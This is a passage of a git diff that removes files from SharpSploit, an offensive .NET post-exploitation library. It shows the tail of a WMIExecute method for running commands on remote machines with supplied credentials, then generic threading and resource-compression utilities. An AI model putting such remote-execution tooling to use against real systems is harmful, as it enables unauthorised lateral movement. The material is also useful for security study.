- /// ComputerNames of remote systems to execute process.
- /// Command to execute on remote system.
- /// Username to authenticate as to the remote system.
- /// Password to authenticate the user.
- /// Bool. True if execution succeeds, false otherwise.
- public static List WMIExecute(List ComputerNames, string Command, string Username, string Password)
- {
- return ComputerNames.Select(CN => WMIExecute(CN, Command, Username, Password)).ToList();
- }
- }
-}
diff --git a/Source/SharpSploit/Misc/CountdownEvent.cs b/Source/SharpSploit/Misc/CountdownEvent.cs
deleted file mode 100644
index f155c60..0000000
--- a/Source/SharpSploit/Misc/CountdownEvent.cs
+++ /dev/null
@@ -1,85 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System;
-using System.Threading;
-
-namespace SharpSploit.Misc
-{
- ///
- /// CountdownEvent is used for counting Asynchronous operations
- ///
- ///
- /// Adapted from https://stackoverflow.com/questions/6790499
- ///
- public sealed class CountdownEvent : IDisposable
- {
- private readonly ManualResetEvent _countEvent = new ManualResetEvent(false);
- private readonly ManualResetEvent _reachedCountEvent = new ManualResetEvent(false);
- private volatile int _maxCount;
- private volatile int _currentCount = 0;
- private volatile bool _isDisposed = false;
-
- public CountdownEvent(int count)
- {
- this._maxCount = count;
- }
-
- public bool Signal()
- {
- if (this._isDisposed)
- {
- return false;
- }
- if (this._currentCount >= this._maxCount)
- {
- return true;
- }
- if (Interlocked.Increment(ref _currentCount) >= this._maxCount)
- {
- _reachedCountEvent.Set();
- return true;
- }
- _countEvent.Set();
- return false;
- }
-
- public bool Wait(int timeout = Timeout.Infinite)
- {
- if (this._isDisposed)
- {
- return false;
- }
- return _reachedCountEvent.WaitOne(timeout);
- }
-
- public bool WaitOne(int timeout = Timeout.Infinite)
- {
- if (this._isDisposed)
- {
- return false;
- }
- return _countEvent.WaitOne(timeout);
- }
-
- public void Dispose()
- {
- this.Dispose(true);
- GC.SuppressFinalize(this);
- }
-
- public void Dispose(bool disposing)
- {
- if (!this._isDisposed)
- {
- if (disposing)
- {
- ((IDisposable)_reachedCountEvent).Dispose();
- ((IDisposable)_countEvent).Dispose();
- }
- this._isDisposed = true;
- }
- }
- }
-}
diff --git a/Source/SharpSploit/Misc/Utilities.cs b/Source/SharpSploit/Misc/Utilities.cs
deleted file mode 100644
index 19a8b2b..0000000
--- a/Source/SharpSploit/Misc/Utilities.cs
+++ /dev/null
@@ -1,80 +0,0 @@
-// Author: Ryan Cobb (@cobbr_io)
-// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
-// License: BSD 3-Clause
-
-using System.IO;
-using System.IO.Compression;
-using System.Linq;
-using System.Reflection;
-
-namespace SharpSploit.Misc
-{
- public static class Utilities
- {
- private static string[] manifestResources = Assembly.GetExecutingAssembly().GetManifestResourceNames();
-
- public static byte[] GetEmbeddedResourceBytes(string resourceName)
- {
- string resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName + ".comp"));
- if (resourceFullName != null)
- {
- return Decompress(Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully());
- }
- else if ((resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName))) != null)
- {
- return Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully();
- }
- return null;
- }
-
- public static byte[] ReadFully(this Stream input)
- {
- byte[] buffer = new byte[16 * 1024];
- using (MemoryStream ms = new MemoryStream())
- {
- int read;
- while((read = input.Read(buffer, 0, buffer.Length)) > 0)
- {
- ms.Write(buffer, 0, read);
- }
- return ms.ToArray();
- }
- }
-
- public static byte[] Compress(byte[] Bytes)
- {
- byte[] compressedBytes;
- using (MemoryStream memoryStream = new MemoryStream())
- {
- using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
- {
- deflateStream.Write(Bytes, 0, Bytes.Length);
- }
- compressedBytes = memoryStream.ToArray();
- }
- return compressedBytes;
- }
-
- public static byte[] Decompress(byte[] compressed)
- {
- using (MemoryStream inputStream = new MemoryStream(compressed.Length))
- {
- inputStream.Write(compressed, 0, compressed.Length);
- inputStream.Seek(0, SeekOrigin.Begin);
- using (MemoryStream outputStream = new MemoryStream())
- {
- using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress))
- {
- byte[] buffer = new byte[4096];
- int bytesRead;
- while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0)
- {
- outputStream.Write(buffer, 0, bytesRead);
- }
- }
- return outputStream.ToArray();
- }
- }
- }
- }
-}